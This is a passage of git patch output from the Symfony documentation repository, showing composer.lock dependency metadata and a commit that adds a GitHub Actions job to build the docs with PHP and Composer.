+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-php70",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-php70.git",
+                "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-php70/zipball/3fe414077251a81a1b15b1c709faf5c2fbae3d4e",
+                "reference": "3fe414077251a81a1b15b1c709faf5c2fbae3d4e",
+                "shasum": ""
+            },
+            "require": {
+                "paragonie/random_compat": "~1.0|~2.0|~9.99",
+                "php": ">=5.3.3"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php70\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ],
+                "classmap": [
+                    "Resources/stubs"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill backporting some PHP 7.0+ features to lower PHP versions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-php70/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-php72",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-php72.git",
+                "reference": "beecef6b463b06954638f02378f52496cb84bacc"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-php72/zipball/beecef6b463b06954638f02378f52496cb84bacc",
+                "reference": "beecef6b463b06954638f02378f52496cb84bacc",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php72\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill backporting some PHP 7.2+ features to lower PHP versions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-php72/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-php73",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-php73.git",
+                "reference": "9d920e3218205554171b2503bb3e4a1366824a16"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/9d920e3218205554171b2503bb3e4a1366824a16",
+                "reference": "9d920e3218205554171b2503bb3e4a1366824a16",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=5.3.3"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php73\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ],
+                "classmap": [
+                    "Resources/stubs"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill backporting some PHP 7.3+ features to lower PHP versions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/polyfill-php80",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/polyfill-php80.git",
+                "reference": "f54ef00f4678f348f133097fa8c3701d197ff44d"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/f54ef00f4678f348f133097fa8c3701d197ff44d",
+                "reference": "f54ef00f4678f348f133097fa8c3701d197ff44d",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.0.8"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "1.19-dev"
+                },
+                "thanks": {
+                    "name": "symfony/polyfill",
+                    "url": "https://github.com/symfony/polyfill"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Polyfill\\Php80\\": ""
+                },
+                "files": [
+                    "bootstrap.php"
+                ],
+                "classmap": [
+                    "Resources/stubs"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Ion Bazan",
+                    "email": "ion.bazan@gmail.com"
+                },
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony polyfill backporting some PHP 8.0+ features to lower PHP versions",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "compatibility",
+                "polyfill",
+                "portable",
+                "shim"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.19.0"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-23T09:01:57+00:00"
+        },
+        {
+            "name": "symfony/process",
+            "version": "5.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/process.git",
+                "reference": "f3957bcc7ec492baf22812c48e7cccf152491770"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/process/zipball/f3957bcc7ec492baf22812c48e7cccf152491770",
+                "reference": "f3957bcc7ec492baf22812c48e7cccf152491770",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5",
+                "symfony/polyfill-php80": "^1.15"
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-version": "5.2"
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Component\\Process\\": ""
+                },
+                "exclude-from-classmap": [
+                    "/Tests/"
+                ]
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Symfony Process Component",
+            "homepage": "https://symfony.com",
+            "support": {
+                "source": "https://github.com/symfony/process/tree/v5.2.0-BETA2"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-13T13:22:54+00:00"
+        },
+        {
+            "name": "symfony/service-contracts",
+            "version": "dev-main",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/service-contracts.git",
+                "reference": "0aeee2f70f4550e6c48c9a796d98f5ceda58dfda"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/service-contracts/zipball/0aeee2f70f4550e6c48c9a796d98f5ceda58dfda",
+                "reference": "0aeee2f70f4550e6c48c9a796d98f5ceda58dfda",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5",
+                "psr/container": "^1.0"
+            },
+            "suggest": {
+                "symfony/service-implementation": ""
+            },
+            "default-branch": true,
+            "type": "library",
+            "extra": {
+                "branch-version": "2.3",
+                "branch-alias": {
+                    "dev-main": "2.3-dev"
+                },
+                "thanks": {
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Contracts\\Service\\": ""
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Generic abstractions related to writing services",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "abstractions",
+                "contracts",
+                "decoupling",
+                "interfaces",
+                "interoperability",
+                "standards"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/service-contracts/tree/main"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-14T17:08:19+00:00"
+        },
+        {
+            "name": "twig/twig",
+            "version": "2.x-dev",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/twigphp/Twig.git",
+                "reference": "78173b3c850e344cb8515fc2a05138d39a6c39e0"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/78173b3c850e344cb8515fc2a05138d39a6c39e0",
+                "reference": "78173b3c850e344cb8515fc2a05138d39a6c39e0",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5",
+                "symfony/polyfill-ctype": "^1.8",
+                "symfony/polyfill-mbstring": "^1.3"
+            },
+            "require-dev": {
+                "psr/container": "^1.0",
+                "symfony/phpunit-bridge": "^4.4.9|^5.0.9"
+            },
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-master": "2.14-dev"
+                }
+            },
+            "autoload": {
+                "psr-0": {
+                    "Twig_": "lib/"
+                },
+                "psr-4": {
+                    "Twig\\": "src/"
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "BSD-3-Clause"
+            ],
+            "authors": [
+                {
+                    "name": "Fabien Potencier",
+                    "email": "fabien@symfony.com",
+                    "homepage": "http://fabien.potencier.org",
+                    "role": "Lead Developer"
+                },
+                {
+                    "name": "Twig Team",
+                    "role": "Contributors"
+                },
+                {
+                    "name": "Armin Ronacher",
+                    "email": "armin.ronacher@active-4.com",
+                    "role": "Project Founder"
+                }
+            ],
+            "description": "Twig, the flexible, fast, and secure template language for PHP",
+            "homepage": "https://twig.symfony.com",
+            "keywords": [
+                "templating"
+            ],
+            "support": {
+                "issues": "https://github.com/twigphp/Twig/issues",
+                "source": "https://github.com/twigphp/Twig/tree/2.x"
+            },
+            "funding": [
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/twig/twig",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2020-10-21T12:45:52+00:00"
+        }
+    ],
+    "packages-dev": [],
+    "aliases": [],
+    "minimum-stability": "dev",
+    "stability-flags": {
+        "symfony/docs-builder": 20,
+        "symfony/process": 20
+    },
+    "prefer-stable": false,
+    "prefer-lowest": false,
+    "platform": {
+        "php": ">=7.2.9"
+    },
+    "platform-dev": [],
+    "platform-overrides": {
+        "php": "7.2.9"
+    },
+    "plugin-api-version": "2.0.0"
+}
diff --git a/docs.json b/docs.json
new file mode 100644
index 00000000000..70c1a299f0e
--- /dev/null
+++ b/docs.json
@@ -0,0 +1,3 @@
+{
+    "exclude": ["_build"]
+}

From b152b91d6d58cc71e0cc11f822ad26a9c69bfe8d Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 25 Oct 2020 13:56:48 +0100
Subject: [PATCH 0069/5766] Added Github actions integration

---
 .github/workflows/ci.yaml |  38 +++
 _build/build.php          |   3 +-
 _build/composer.json      |   1 +
 _build/composer.lock      | 528 +++++++++++++-------------------------
 4 files changed, 225 insertions(+), 345 deletions(-)

diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index 26f0e537118..dd7599889d0 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -43,6 +43,44 @@ jobs:
             -   name: "Build documentation"
                 run: make -C _build SPHINXOPTS="-nqW -j auto" html
 
+    build-php:
+        name: Symfony doc builder
+
+        runs-on: ubuntu-latest
+
+        continue-on-error: true
+
+        steps:
+            - name: "Checkout"
+              uses: actions/checkout@v2
+
+            - name: "Set-up PHP"
+              uses: shivammathur/setup-php@v2
+              with:
+                  php-version: 7.2
+                  coverage: none
+                  tools: "composer:v2"
+
+            - name: Get composer cache directory
+              id: composercache
+              working-directory: _build
+              run: echo "::set-output name=dir::$(composer config cache-files-dir)"
+
+            - name: Cache dependencies
+              uses: actions/cache@v2
+              with:
+                  path: ${{ steps.composercache.outputs.dir }}
+                  key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
+                  restore-keys: ${{ runner.os }}-composer-
+
+            - name: "Install dependencies"
+              working-directory: _build
+              run: composer install --prefer-dist --no-progress
+
+            - name: "Build the docs"
+              working-directory: _build
+              run: php build.php -vvv
+
     doctor-rst:
         name: DOCtor-RST
 
diff --git a/_build/build.php b/_build/build.php
index 5a2fd660bda..9dba64d5145 100755
--- a/_build/build.php
+++ b/_build/build.php
@@ -33,7 +33,8 @@
 
         $process = new Process($command);
         $process->setTimeout(3600);
-        $process->run();
+
+        $this->getHelper('process')->run($output, $process);
 
         if (!$process->isSuccessful()) {
             throw new ProcessFailedException($process);
diff --git a/_build/composer.json b/_build/composer.json
index 30de6365ecb..ea0ef4eee25 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -1,5 +1,6 @@
 {
     "minimum-stability": "dev",
+    "prefer-stable": true,
     "repositories": [
         { "type": "git", "url": "https://github.com/weaverryan/docs-builder" }
     ],
diff --git a/_build/composer.lock b/_build/composer.lock
index 101c85b4165..8a5ab63dcb7 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,20 +4,20 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "6ee53de4a5225f7f273333a94e84fdd1",
+    "content-hash": "e580f6d54e3fe0b71ca6103550882138",
     "packages": [
         {
             "name": "doctrine/event-manager",
-            "version": "1.1.x-dev",
+            "version": "1.1.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/event-manager.git",
-                "reference": "348f72ec92c7e0b1f5462f6616af2b448ba3cbb1"
+                "reference": "41370af6a30faa9dc0368c4a6814d596e81aba7f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/348f72ec92c7e0b1f5462f6616af2b448ba3cbb1",
-                "reference": "348f72ec92c7e0b1f5462f6616af2b448ba3cbb1",
+                "url": "https://api.github.com/repos/doctrine/event-manager/zipball/41370af6a30faa9dc0368c4a6814d596e81aba7f",
+                "reference": "41370af6a30faa9dc0368c4a6814d596e81aba7f",
                 "shasum": ""
             },
             "require": {
@@ -30,7 +30,6 @@
                 "doctrine/coding-standard": "^6.0",
                 "phpunit/phpunit": "^7.0"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
@@ -99,7 +98,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2020-10-05T12:08:55+00:00"
+            "time": "2020-05-29T18:28:51+00:00"
         },
         {
             "name": "doctrine/rst-parser",
@@ -107,12 +106,12 @@
             "source": {
                 "type": "git",
                 "url": "https://github.com/doctrine/rst-parser.git",
-                "reference": "1873475b3791954f1ca1539d4063cfcbd1c9e351"
+                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/1873475b3791954f1ca1539d4063cfcbd1c9e351",
-                "reference": "1873475b3791954f1ca1539d4063cfcbd1c9e351",
+                "url": "https://api.github.com/repos/doctrine/rst-parser/zipball/68419cbf92d60177b95e44d79a79cae1098a91ef",
+                "reference": "68419cbf92d60177b95e44d79a79cae1098a91ef",
                 "shasum": ""
             },
             "require": {
@@ -167,20 +166,20 @@
                 "issues": "https://github.com/doctrine/rst-parser/issues",
                 "source": "https://github.com/doctrine/rst-parser/tree/master"
             },
-            "time": "2020-10-23T00:13:24+00:00"
+            "time": "2020-10-26T13:37:24+00:00"
         },
         {
             "name": "guzzlehttp/guzzle",
-            "version": "6.5.x-dev",
+            "version": "6.5.5",
             "source": {
                 "type": "git",
                 "url": "https://github.com/guzzle/guzzle.git",
-                "reference": "e8ed4dbf49b260ff129ff0e0400718c3269971bf"
+                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/e8ed4dbf49b260ff129ff0e0400718c3269971bf",
-                "reference": "e8ed4dbf49b260ff129ff0e0400718c3269971bf",
+                "url": "https://api.github.com/repos/guzzle/guzzle/zipball/9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
+                "reference": "9d4290de1cfd701f38099ef7e183b64b4b7b0c5e",
                 "shasum": ""
             },
             "require": {
@@ -238,42 +237,20 @@
                 "issues": "https://github.com/guzzle/guzzle/issues",
                 "source": "https://github.com/guzzle/guzzle/tree/6.5"
             },
-            "funding": [
-                {
-                    "url": "https://github.com/GrahamCampbell",
-                    "type": "github"
-                },
-                {
-                    "url": "https://github.com/Nyholm",
-                    "type": "github"
-                },
-                {
-                    "url": "https://github.com/alexeyshockov",
-                    "type": "github"
-                },
-                {
-                    "url": "https://github.com/gmponos",
-                    "type": "github"
-                },
-                {
-                    "url": "https://github.com/sagikazarmark",
-                    "type": "github"
-                }
-            ],
-            "time": "2020-07-02T06:52:04+00:00"
+            "time": "2020-06-16T21:01:06+00:00"
         },
         {
             "name": "guzzlehttp/promises",
-            "version": "dev-master",
+            "version": "1.4.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/guzzle/promises.git",
-                "reference": "ddfeedfff2a52661429437da0702979f708e6ac6"
+                "reference": "60d379c243457e073cff02bc323a2a86cb355631"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/promises/zipball/ddfeedfff2a52661429437da0702979f708e6ac6",
-                "reference": "ddfeedfff2a52661429437da0702979f708e6ac6",
+                "url": "https://api.github.com/repos/guzzle/promises/zipball/60d379c243457e073cff02bc323a2a86cb355631",
+                "reference": "60d379c243457e073cff02bc323a2a86cb355631",
                 "shasum": ""
             },
             "require": {
@@ -282,7 +259,6 @@
             "require-dev": {
                 "symfony/phpunit-bridge": "^4.4 || ^5.1"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
@@ -314,22 +290,22 @@
             ],
             "support": {
                 "issues": "https://github.com/guzzle/promises/issues",
-                "source": "https://github.com/guzzle/promises/tree/master"
+                "source": "https://github.com/guzzle/promises/tree/1.4.0"
             },
-            "time": "2020-10-19T16:50:15+00:00"
+            "time": "2020-09-30T07:37:28+00:00"
         },
         {
             "name": "guzzlehttp/psr7",
-            "version": "1.x-dev",
+            "version": "1.7.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/guzzle/psr7.git",
-                "reference": "25f7f893f0b52b7b14e244a16679d72b1f0088de"
+                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/guzzle/psr7/zipball/25f7f893f0b52b7b14e244a16679d72b1f0088de",
-                "reference": "25f7f893f0b52b7b14e244a16679d72b1f0088de",
+                "url": "https://api.github.com/repos/guzzle/psr7/zipball/53330f47520498c0ae1f61f7e2c90f55690c06a3",
+                "reference": "53330f47520498c0ae1f61f7e2c90f55690c06a3",
                 "shasum": ""
             },
             "require": {
@@ -389,82 +365,31 @@
             ],
             "support": {
                 "issues": "https://github.com/guzzle/psr7/issues",
-                "source": "https://github.com/guzzle/psr7/tree/1.x"
+                "source": "https://github.com/guzzle/psr7/tree/1.7.0"
             },
-            "time": "2020-10-22T07:42:05+00:00"
-        },
-        {
-            "name": "paragonie/random_compat",
-            "version": "v9.99.100",
-            "source": {
-                "type": "git",
-                "url": "https://github.com/paragonie/random_compat.git",
-                "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a"
-            },
-            "dist": {
-                "type": "zip",
-                "url": "https://api.github.com/repos/paragonie/random_compat/zipball/996434e5492cb4c3edcb9168db6fbb1359ef965a",
-                "reference": "996434e5492cb4c3edcb9168db6fbb1359ef965a",
-                "shasum": ""
-            },
-            "require": {
-                "php": ">= 7"
-            },
-            "require-dev": {
-                "phpunit/phpunit": "4.*|5.*",
-                "vimeo/psalm": "^1"
-            },
-            "suggest": {
-                "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes."
-            },
-            "type": "library",
-            "notification-url": "https://packagist.org/downloads/",
-            "license": [
-                "MIT"
-            ],
-            "authors": [
-                {
-                    "name": "Paragon Initiative Enterprises",
-                    "email": "security@paragonie.com",
-                    "homepage": "https://paragonie.com"
-                }
-            ],
-            "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7",
-            "keywords": [
-                "csprng",
-                "polyfill",
-                "pseudorandom",
-                "random"
-            ],
-            "support": {
-                "email": "info@paragonie.com",
-                "issues": "https://github.com/paragonie/random_compat/issues",
-                "source": "https://github.com/paragonie/random_compat"
-            },
-            "time": "2020-10-15T08:29:30+00:00"
+            "time": "2020-09-30T07:37:11+00:00"
         },
         {
             "name": "psr/container",
-            "version": "dev-master",
+            "version": "1.0.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/container.git",
-                "reference": "381524e8568e07f31d504a945b88556548c8c42e"
+                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/container/zipball/381524e8568e07f31d504a945b88556548c8c42e",
-                "reference": "381524e8568e07f31d504a945b88556548c8c42e",
+                "url": "https://api.github.com/repos/php-fig/container/zipball/b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
+                "reference": "b7ce3b176482dbbc1245ebf52b181af44c2cf55f",
                 "shasum": ""
             },
             "require": {
-                "php": ">=7.2.0"
+                "php": ">=5.3.0"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-master": "1.1.x-dev"
+                    "dev-master": "1.0.x-dev"
                 }
             },
             "autoload": {
@@ -479,7 +404,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "https://www.php-fig.org/"
+                    "homepage": "http://www.php-fig.org/"
                 }
             ],
             "description": "Common Container Interface (PHP FIG PSR-11)",
@@ -495,26 +420,25 @@
                 "issues": "https://github.com/php-fig/container/issues",
                 "source": "https://github.com/php-fig/container/tree/master"
             },
-            "time": "2020-10-13T07:07:53+00:00"
+            "time": "2017-02-14T16:28:37+00:00"
         },
         {
             "name": "psr/http-message",
-            "version": "dev-master",
+            "version": "1.0.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/http-message.git",
-                "reference": "efd67d1dc14a7ef4fc4e518e7dee91c271d524e4"
+                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/http-message/zipball/efd67d1dc14a7ef4fc4e518e7dee91c271d524e4",
-                "reference": "efd67d1dc14a7ef4fc4e518e7dee91c271d524e4",
+                "url": "https://api.github.com/repos/php-fig/http-message/zipball/f6561bf28d520154e4b0ec72be95418abe6d9363",
+                "reference": "f6561bf28d520154e4b0ec72be95418abe6d9363",
                 "shasum": ""
             },
             "require": {
                 "php": ">=5.3.0"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
@@ -549,26 +473,25 @@
             "support": {
                 "source": "https://github.com/php-fig/http-message/tree/master"
             },
-            "time": "2019-08-29T13:16:46+00:00"
+            "time": "2016-08-06T14:39:51+00:00"
         },
         {
             "name": "psr/log",
-            "version": "dev-master",
+            "version": "1.1.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/php-fig/log.git",
-                "reference": "dd738d0b4491f32725492cf345f6b501f5922fec"
+                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/php-fig/log/zipball/dd738d0b4491f32725492cf345f6b501f5922fec",
-                "reference": "dd738d0b4491f32725492cf345f6b501f5922fec",
+                "url": "https://api.github.com/repos/php-fig/log/zipball/0f73288fd15629204f9d42b7055f72dacbe811fc",
+                "reference": "0f73288fd15629204f9d42b7055f72dacbe811fc",
                 "shasum": ""
             },
             "require": {
                 "php": ">=5.3.0"
             },
-            "default-branch": true,
             "type": "library",
             "extra": {
                 "branch-alias": {
@@ -587,7 +510,7 @@
             "authors": [
                 {
                     "name": "PHP-FIG",
-                    "homepage": "https://www.php-fig.org/"
+                    "homepage": "http://www.php-fig.org/"
                 }
             ],
             "description": "Common interface for logging libraries",
@@ -598,9 +521,9 @@
                 "psr-3"
             ],
             "support": {
-                "source": "https://github.com/php-fig/log/tree/master"
+                "source": "https://github.com/php-fig/log/tree/1.1.3"
             },
-            "time": "2020-09-18T06:44:51+00:00"
+            "time": "2020-03-23T09:12:05+00:00"
         },
         {
             "name": "ralouphie/getallheaders",
@@ -648,16 +571,16 @@
         },
         {
             "name": "scrivo/highlight.php",
-            "version": "9.18.x-dev",
+            "version": "v9.18.1.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/scrivo/highlight.php.git",
-                "reference": "006e334dbf8e0a30573174e2cb6e11682b224f15"
+                "reference": "6a1699707b099081f20a488ac1f92d682181018c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/006e334dbf8e0a30573174e2cb6e11682b224f15",
-                "reference": "006e334dbf8e0a30573174e2cb6e11682b224f15",
+                "url": "https://api.github.com/repos/scrivo/highlight.php/zipball/6a1699707b099081f20a488ac1f92d682181018c",
+                "reference": "6a1699707b099081f20a488ac1f92d682181018c",
                 "shasum": ""
             },
             "require": {
@@ -723,20 +646,20 @@
                     "type": "github"
                 }
             ],
-            "time": "2020-10-17T21:12:39+00:00"
+            "time": "2020-10-16T07:43:22+00:00"
         },
         {
             "name": "symfony/console",
-            "version": "4.4.x-dev",
+            "version": "v4.4.15",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/console.git",
-                "reference": "a30dd52eb2129e90e2e15bf107f91eab2219b52c"
+                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/console/zipball/a30dd52eb2129e90e2e15bf107f91eab2219b52c",
-                "reference": "a30dd52eb2129e90e2e15bf107f91eab2219b52c",
+                "url": "https://api.github.com/repos/symfony/console/zipball/90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
+                "reference": "90933b39c7b312fc3ceaa1ddeac7eb48cb953124",
                 "shasum": ""
             },
             "require": {
@@ -772,7 +695,9 @@
             },
             "type": "library",
             "extra": {
-                "branch-version": "4.4"
